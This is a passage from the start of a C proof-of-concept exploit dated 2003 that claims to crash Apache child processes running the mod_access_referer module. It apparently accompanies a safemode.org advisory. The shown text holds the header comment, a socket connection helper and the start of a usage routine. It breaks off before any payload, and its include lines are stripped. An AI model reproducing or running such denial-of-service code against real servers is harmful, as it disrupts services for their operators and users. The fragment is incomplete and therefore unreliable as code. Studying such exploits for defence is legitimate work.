/* * Stupid program to let Apache childs processes using the mod_access_referer module crash * * Advisory at http://safemode.org * * zillion[at]safemode.org (03/2003) * * */ #include #include #include #include #include #include int connection(char* host, int port) { struct sockaddr_in s_in; int sock; s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = inet_addr(host); s_in.sin_port = htons(port); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) { printf("Sorry, could not create a socket\n"); exit(1); } if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) { printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno)); exit(1); } return sock; } void usage(char *progname) { printf("Usage: %s -t [-d